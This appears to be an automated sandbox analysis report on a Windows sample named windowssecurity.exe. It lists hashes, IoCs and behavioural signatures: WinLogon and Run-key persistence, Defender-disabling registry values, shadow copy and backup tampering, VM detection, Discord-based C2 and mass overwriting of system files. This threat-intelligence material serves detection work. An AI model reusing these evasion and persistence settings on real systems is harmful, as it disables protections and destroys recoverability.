Analysis
- user interaction
yes - max time kernel
84s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-es - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows - submitted
30/10/2026, 11:55
Behavioral task
behavioral1
Sample
windowssecurity.exe
Resource
win11ltsc2024-20260911-es
windows11-ltsc_2024-x64
43 signatures
900 seconds
General
- Target windowssecurity.exe
- Size 116.9MB
- Sample261030-n3emcsby3w
- SHA256 c1bedfabfb35a690a203161ad0587c964283b97d7ccc50448bbd454942fa512f
- MD5 da1c05ab91a009de7a96bed71e922875
- SHA1 475011538aaf6e6c5eb0dab14924cbc19aa24ee1
- SHA512 fe74a404672f93cad042b163ae125b7d9ea303cc87a1b1eb587eb5993eecfe0a769bf92c99cbb1ecf006fc2e2579513a11884861a176e0f4657a808a19be352c
- SSDEEP 3145728:cGk7TWcDDZtrio2ij0/kd0xk7fjyEu5R3GgfPtwEsM5/X5D:2THD7iuPRLsD3GICKVt
- TLSH T1904833A4AF8A37D1F143C534E178EB346DA01158B7D38F8B3B8053A27563DE6A172963
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "\"C:\\ProgramData\\Microsoft\\Z6CJQWmtH9\\b9iTERrgL.exe\", C:\\Windows\\System32\\userinit.exe," windowssecurity.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" windowssecurity.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" windowssecurity.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" windowssecurity.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" windowssecurity.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1" windowssecurity.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection windowssecurity.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" windowssecurity.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" windowssecurity.exe - Modifies security service 2 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Enumerates VirtualBox registry keys 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest b9iTERrgL.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse b9iTERrgL.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest windowssecurity.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse windowssecurity.exe - Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions windowssecurity.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions b9iTERrgL.exe - Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
pid Process 5828 bcdedit.exe 1864 bcdedit.exe 5540 bcdedit.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 700 powershell.exe 4108 powershell.exe 5044 powershell.exe 4848 powershell.exe 4896 powershell.exe 4472 powershell.exe 4408 powershell.exe 244 powershell.exe 4272 powershell.exe -
pid Process 1212 wbadmin.exe - Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
pid Process 4408 powershell.exe - Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\usbport.sys cmd.exe File opened for modification C:\Windows\System32\drivers\wtd.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\fltmgr.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\HidSpiCx.sys cmd.exe File opened for modification C:\Windows\System32\drivers\kbdhid.sys cmd.exe File opened for modification C:\Windows\System32\drivers\watchdog.sys cmd.exe File opened for modification C:\Windows\System32\drivers\WppRecorder.sys cmd.exe File opened for modification C:\Windows\System32\drivers\battc.sys cmd.exe File opened for modification C:\Windows\System32\drivers\Kerb3961Kernel.sys cmd.exe File opened for modification C:\Windows\System32\drivers\pcmcia.sys cmd.exe File opened for modification C:\Windows\System32\drivers\UevAgentDriver.sys cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\hidscanner.dll.mui cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\HidLampArray.dll cmd.exe File opened for modification C:\Windows\System32\drivers\afd.sys cmd.exe File opened for modification C:\Windows\System32\drivers\AppvVemgr.sys cmd.exe File opened for modification C:\Windows\System32\drivers\errdev.sys cmd.exe File opened for modification C:\Windows\System32\drivers\netvsc.sys cmd.exe File opened for modification C:\Windows\System32\drivers\parport.sys cmd.exe File opened for modification C:\Windows\System32\drivers\processr.sys cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\idtsec.dll.mui cmd.exe File opened for modification C:\Windows\System32\drivers\usbprint.sys cmd.exe File opened for modification C:\Windows\System32\drivers\filetrace.sys cmd.exe File opened for modification C:\Windows\System32\drivers\acpiex.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\nwifi.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\TsUsbFlt.sys cmd.exe File opened for modification C:\Windows\System32\drivers\winhvr.sys cmd.exe File opened for modification C:\Windows\System32\drivers\ztdns.sys cmd.exe File opened for modification C:\Windows\System32\drivers\cdrom.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\sdbus.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\hidi2c.sys cmd.exe File opened for modification C:\Windows\System32\drivers\nvdimm.sys cmd.exe File opened for modification C:\Windows\System32\drivers\sdstor.sys cmd.exe File opened for modification C:\Windows\System32\drivers\SpbCx.sys cmd.exe File opened for modification C:\Windows\System32\drivers\wacompen.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\scmbus.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\mgtdyn.dll.mui cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\en-US\Microsoft.Bluetooth.Profiles.HidOverGatt.dll.mui cmd.exe File opened for modification C:\Windows\System32\drivers\WpdUpFltr.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\i8042prt.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\CEA.sys cmd.exe File opened for modification C:\Windows\System32\drivers\bam.sys cmd.exe File opened for modification C:\Windows\System32\drivers\mslldp.sys cmd.exe File opened for modification C:\Windows\System32\drivers\ntfs.sys cmd.exe File opened for modification C:\Windows\System32\drivers\rteth.sys cmd.exe File opened for modification C:\Windows\System32\drivers\msisadrv.sys cmd.exe File opened for modification C:\Windows\System32\drivers\hidparse.sys cmd.exe File opened for modification C:\Windows\System32\drivers\intelpmax.sys cmd.exe File opened for modification C:\Windows\System32\drivers\UcmTcpciCx.sys cmd.exe File opened for modification C:\Windows\System32\drivers\werkernel.sys cmd.exe File opened for modification C:\Windows\System32\drivers\WUDFPf.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\hidbth.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\ndis.sys cmd.exe File opened for modification C:\Windows\System32\drivers\tdi.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\MTConfig.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\ndis.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\rdbss.sys cmd.exe File opened for modification C:\Windows\System32\drivers\serenum.sys cmd.exe File opened for modification C:\Windows\System32\drivers\rmcast.sys cmd.exe File opened for modification C:\Windows\System32\drivers\pciide.sys cmd.exe File opened for modification C:\Windows\System32\drivers\WdNisDrv.sys cmd.exe File opened for modification C:\Windows\System32\drivers\bridge.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\usbstor.sys.mui cmd.exe File opened for modification C:\Windows\System32\drivers\sdbus.sys cmd.exe File opened for modification C:\Windows\System32\drivers\en-US\storqosflt.sys.mui cmd.exe - Looks for VMWare Tools registry key 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools windowssecurity.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools b9iTERrgL.exe - Looks for VMWare services registry key. 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci windowssecurity.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci b9iTERrgL.exe - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\o21QSRQB4AWn.vbs windowssecurity.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\o21QSRQB4AWn.vbs attrib.exe - Executes dropped EXE 4 IoCs
pid Process 1756 ffmpeg-win-x86_64-v7.1.exe 248 b9iTERrgL.exe 836 b9iTERrgL.exe 5860 ffmpeg-win-x86_64-v7.1.exe - Loads dropped DLL 64 IoCs
pid Process 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 1612 windowssecurity.exe 836 b9iTERrgL.exe 836 b9iTERrgL.exe 836 b9iTERrgL.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 4192 icacls.exe 1240 icacls.exe - Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\o21QSRQB4AWn = "\"C:\\ProgramData\\Microsoft\\Z6CJQWmtH9\\b9iTERrgL.exe\"" windowssecurity.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\o21QSRQB4AWn = "\"C:\\ProgramData\\Microsoft\\Z6CJQWmtH9\\b9iTERrgL.exe\"" windowssecurity.exe - Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 15 discord.com 17 discord.com 1 discord.com 12 discord.com - Modifies Security services 2 TTPs 1 IoCs
Modifies the startup behavior of a security service.
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4" reg.exe - Power Settings 1 TTPs 1 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1332 powercfg.exe - Uses WMI to collect hardware manufacturer information 2 TTPs 2 IoCs
Uses WMI to read the system manufacturer, model, baseboard or display adapter, which is often used to detect virtual machines and evade sandboxes.
pid Process 252 wmic.exe 4408 wmic.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\DriverStore\es-ES\netk57a.inf_loc cmd.exe File opened for modification C:\Windows\System32\DriverStore\ja-JP\microsoft_bluetooth_hfp.inf_loc cmd.exe File opened for modification C:\Windows\System32\en-US\cscui.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\eappcfgui.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\fltlib.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\msctfuimanager.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\consent.exe.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\mssign32.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\rdpclip.exe.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\es-ES\msmouse.inf_loc cmd.exe File opened for modification C:\Windows\System32\en-US\cdp.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\rpcping.exe.mui cmd.exe File opened for modification C:\Windows\System32\am-ET\windows.ui.xaml.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\netrast.inf_loc cmd.exe File opened for modification C:\Windows\System32\DriverStore\fr-FR\msports.inf_loc cmd.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\WindowsTrustedRTProxy.inf_loc cmd.exe File opened for modification C:\Windows\System32\en-US\l2nacp.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\vssadmin.exe.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\mmres.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\msobjs.dll.mui cmd.exe File opened for modification C:\Windows\System32\da-DK\msprivs.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\Display.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\icsigd.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\en-US\usbcir.inf_loc cmd.exe File opened for modification C:\Windows\System32\fr-FR\CaptureService.dll.mui cmd.exe File opened for modification C:\Windows\System32\AppXDeploymentExtensions.onecore.dll cmd.exe File opened for modification C:\Windows\System32\D3DCompiler_47.dll cmd.exe File opened for modification C:\Windows\System32\de-DE\AppResolver.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\auditpol.exe.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\umpnpmgr.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\rtm.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\SystemPropertiesComputerName.exe.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\SystemPropertiesRemote.exe.mui cmd.exe File opened for modification C:\Windows\System32\activeds.dll cmd.exe File opened for modification C:\Windows\System32\CallButtons.ProxyStub.dll cmd.exe File opened for modification C:\Windows\System32\de-DE\credprovhost.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\wpdmtp.inf_loc cmd.exe File opened for modification C:\Windows\System32\DriverStore\en-US\ipoib6x.inf_loc cmd.exe File opened for modification C:\Windows\System32\en-US\CredProv2faHelper.dll.mui cmd.exe File opened for modification C:\Windows\System32\en-US\fhshl.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\hvhostsvc.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\at.exe.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\Licenses\OEM\ENTERP~1\license.rtf cmd.exe File opened for modification C:\Windows\System32\de-DE\Windows.StateRepository.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\Windows.UI.Xaml.Maps.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\prnms013.inf_loc cmd.exe File opened for modification C:\Windows\System32\en-US\SensorsApi.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\defragsvc.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\SCardDlg.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\ddraw.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\iologmsg.dll.mui cmd.exe File opened for modification C:\Windows\System32\de-DE\Windows.Media.Streaming.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\NETAX88179_178a.inf_loc cmd.exe File opened for modification C:\Windows\System32\es-ES\cdosys.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\DataExchangeHost.exe.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\dot3ui.dll.mui cmd.exe File opened for modification C:\Windows\System32\es-ES\shell32.dll.mui cmd.exe File opened for modification C:\Windows\System32\cmdl32.exe cmd.exe File opened for modification C:\Windows\System32\de-DE\bthci.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\en-US\c_apo.inf_loc cmd.exe File opened for modification C:\Windows\System32\DriverStore\en-US\mdmgen.inf_loc cmd.exe File opened for modification C:\Windows\System32\es-ES\certprop.dll.mui cmd.exe File opened for modification C:\Windows\System32\Dism\de-DE\OSProvider.dll.mui cmd.exe File opened for modification C:\Windows\System32\DriverStore\en-US\c_volsnap.inf_loc cmd.exe - Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml reagentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml reagentc.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl wbadmin.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 4408 powershell.exe 244 powershell.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2960 sc.exe 4600 sc.exe 5748 sc.exe 4592 sc.exe 1948 sc.exe - Executes a command shell one-liner 1 TTPs 11 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3772 cmd.exe 4444 cmd.exe 3124 cmd.exe 2184 cmd.exe 4704 cmd.exe 3440 cmd.exe 4264 cmd.exe 920 cmd.exe 3840 cmd.exe 1248 cmd.exe 2696 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname windowssecurity.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain windowssecurity.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wmic.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname b9iTERrgL.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain b9iTERrgL.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1196 systeminfo.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5780 vssadmin.exe - Modifies registry key 1 TTPs 5 IoCs
pid Process 4768 reg.exe 3788 reg.exe 3936 reg.exe 4860 reg.exe 4372 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4268 schtasks.exe 1716 schtasks.exe - Suspicious behavior: EnumeratesProcesses 45 IoCs
pid Process 1612 windowssecurity.exe 1612 windowssecurity.exe 252 wmic.exe 252 wmic.exe 252 wmic.exe 252 wmic.exe 4896 powershell.exe 4896 powershell.exe 4896 powershell.exe 4472 powershell.exe 4472 powershell.exe 4472 powershell.exe 836 b9iTERrgL.exe 836 b9iTERrgL.exe 4408 wmic.exe 4408 wmic.exe 4408 wmic.exe 4408 wmic.exe 700 powershell.exe 700 powershell.exe 700 powershell.exe 4108 powershell.exe 4108 powershell.exe 4108 powershell.exe 5044 powershell.exe 5044 powershell.exe 5044 powershell.exe 4848 powershell.exe 4848 powershell.exe 4848 powershell.exe 4408 powershell.exe 4408 powershell.exe 4408 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe 244 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1612 windowssecurity.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 4 Process not Found 4 Process not Found 4 Process not Found 4 Process not Found 4 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1612 windowssecurity.exe Token: SeIncreaseQuotaPrivilege 252 wmic.exe Token: SeSecurityPrivilege 252 wmic.exe Token: SeTakeOwnershipPrivilege 252 wmic.exe Token: SeLoadDriverPrivilege 252 wmic.exe Token: SeSystemProfilePrivilege 252 wmic.exe Token: SeSystemtimePrivilege 252 wmic.exe Token: SeProfSingleProcessPrivilege 252 wmic.exe Token: SeIncBasePriorityPrivilege 252 wmic.exe Token: SeCreatePagefilePrivilege 252 wmic.exe Token: SeBackupPrivilege 252 wmic.exe Token: SeRestorePrivilege 252 wmic.exe Token: SeShutdownPrivilege 252 wmic.exe Token: SeDebugPrivilege 252 wmic.exe Token: SeSystemEnvironmentPrivilege 252 wmic.exe Token: SeRemoteShutdownPrivilege 252 wmic.exe Token: SeUndockPrivilege 252 wmic.exe Token: SeManageVolumePrivilege 252 wmic.exe Token: 33 252 wmic.exe Token: 34 252 wmic.exe Token: 35 252 wmic.exe Token: 36 252 wmic.exe Token: SeIncreaseQuotaPrivilege 252 wmic.exe Token: SeSecurityPrivilege 252 wmic.exe Token: SeTakeOwnershipPrivilege 252 wmic.exe Token: SeLoadDriverPrivilege 252 wmic.exe Token: SeSystemProfilePrivilege 252 wmic.exe Token: SeSystemtimePrivilege 252 wmic.exe Token: SeProfSingleProcessPrivilege 252 wmic.exe Token: SeIncBasePriorityPrivilege 252 wmic.exe Token: SeCreatePagefilePrivilege 252 wmic.exe Token: SeBackupPrivilege 252 wmic.exe Token: SeRestorePrivilege 252 wmic.exe Token: SeShutdownPrivilege 252 wmic.exe Token: SeDebugPrivilege 252 wmic.exe Token: SeSystemEnvironmentPrivilege 252 wmic.exe Token: SeRemoteShutdownPrivilege 252 wmic.exe Token: SeUndockPrivilege 252 wmic.exe Token: SeManageVolumePrivilege 252 wmic.exe Token: 33 252 wmic.exe Token: 34 252 wmic.exe Token: 35 252 wmic.exe Token: 36 252 wmic.exe Token: SeDebugPrivilege 4896 powershell.exe Token: SeIncreaseQuotaPrivilege 4896 powershell.exe Token: SeSecurityPrivilege 4896 powershell.exe Token: SeTakeOwnershipPrivilege 4896 powershell.exe Token: SeLoadDriverPrivilege 4896 powershell.exe Token: SeSystemProfilePrivilege 4896 powershell.exe Token: SeSystemtimePrivilege 4896 powershell.exe Token: SeProfSingleProcessPrivilege 4896 powershell.exe Token: SeIncBasePriorityPrivilege 4896 powershell.exe Token: SeCreatePagefilePrivilege 4896 powershell.exe Token: SeBackupPrivilege 4896 powershell.exe Token: SeRestorePrivilege 4896 powershell.exe Token: SeShutdownPrivilege 4896 powershell.exe Token: SeDebugPrivilege 4896 powershell.exe Token: SeSystemEnvironmentPrivilege 4896 powershell.exe Token: SeRemoteShutdownPrivilege 4896 powershell.exe Token: SeUndockPrivilege 4896 powershell.exe Token: SeManageVolumePrivilege 4896 powershell.exe Token: 33 4896 powershell.exe Token: 34 4896 powershell.exe Token: 35 4896 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3592 ShellHost.exe 1612 windowssecurity.exe - Suspicious use of WriteProcessMemory 57 IoCs
description pid Process procid_target PID 5064 wrote to memory of 1612 5064 windowssecurity.exe 89 PID 1612 wrote to memory of 252 1612 windowssecurity.exe 104 PID 1612 wrote to memory of 1756 1612 windowssecurity.exe 106 PID 1612 wrote to memory of 4980 1612 windowssecurity.exe 108 PID 1612 wrote to memory of 5180 1612 windowssecurity.exe 110 PID 1612 wrote to memory of 2960 1612 windowssecurity.exe 112 PID 1612 wrote to memory of 4192 1612 windowssecurity.exe 114 PID 1612 wrote to memory of 2444 1612 windowssecurity.exe 116 PID 1612 wrote to memory of 2424 1612 windowssecurity.exe 118 PID 1612 wrote to memory of 5804 1612 windowssecurity.exe 120 PID 1612 wrote to memory of 1832 1612 windowssecurity.exe 122 PID 1612 wrote to memory of 3744 1612 windowssecurity.exe 124 PID 1612 wrote to memory of 4268 1612 windowssecurity.exe 126 PID 1612 wrote to memory of 1716 1612 windowssecurity.exe 128 PID 1612 wrote to memory of 6060 1612 windowssecurity.exe 130 PID 1612 wrote to memory of 4896 1612 windowssecurity.exe 132 PID 1612 wrote to memory of 4472 1612 windowssecurity.exe 138 PID 248 wrote to memory of 836 248 b9iTERrgL.exe 141 PID 836 wrote to memory of 4408 836 b9iTERrgL.exe 143 PID 836 wrote to memory of 5860 836 b9iTERrgL.exe 145 PID 1612 wrote to memory of 700 1612 windowssecurity.exe 147 PID 1612 wrote to memory of 4108 1612 windowssecurity.exe 149 PID 1612 wrote to memory of 5044 1612 windowssecurity.exe 151 PID 1612 wrote to memory of 4848 1612 windowssecurity.exe 153 PID 1612 wrote to memory of 2696 1612 windowssecurity.exe 155 PID 2696 wrote to memory of 568 2696 cmd.exe 185 PID 2696 wrote to memory of 1196 2696 cmd.exe 158 PID 1612 wrote to memory of 4408 1612 windowssecurity.exe 159 PID 1612 wrote to memory of 244 1612 windowssecurity.exe 161 PID 244 wrote to memory of 1948 244 powershell.exe 163 PID 244 wrote to memory of 4768 244 powershell.exe 207 PID 244 wrote to memory of 2960 244 powershell.exe 165 PID 244 wrote to memory of 3788 244 powershell.exe 166 PID 244 wrote to memory of 4600 244 powershell.exe 167 PID 244 wrote to memory of 3936 244 powershell.exe 168 PID 244 wrote to memory of 5748 244 powershell.exe 169 PID 244 wrote to memory of 4860 244 powershell.exe 170 PID 244 wrote to memory of 4592 244 powershell.exe 171 PID 244 wrote to memory of 4372 244 powershell.exe 172 PID 1612 wrote to memory of 2804 1612 windowssecurity.exe 173 PID 1612 wrote to memory of 5828 1612 windowssecurity.exe 176 PID 1612 wrote to memory of 1864 1612 windowssecurity.exe 178 PID 1612 wrote to memory of 5540 1612 windowssecurity.exe 180 PID 1612 wrote to memory of 5780 1612 windowssecurity.exe 182 PID 1612 wrote to memory of 1212 1612 windowssecurity.exe 186 PID 1612 wrote to memory of 1332 1612 windowssecurity.exe 188 PID 1612 wrote to memory of 2000 1612 windowssecurity.exe 190 PID 1612 wrote to memory of 1360 1612 windowssecurity.exe 192 PID 1612 wrote to memory of 3772 1612 windowssecurity.exe 194 PID 1612 wrote to memory of 3440 1612 windowssecurity.exe 196 PID 1612 wrote to memory of 4264 1612 windowssecurity.exe 198 PID 1612 wrote to memory of 920 1612 windowssecurity.exe 200 PID 1612 wrote to memory of 4444 1612 windowssecurity.exe 202 PID 1612 wrote to memory of 3840 1612 windowssecurity.exe 204 PID 1612 wrote to memory of 3124 1612 windowssecurity.exe 206 PID 1612 wrote to memory of 1240 1612 windowssecurity.exe 208 PID 1612 wrote to memory of 1248 1612 windowssecurity.exe 211 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 6 IoCs
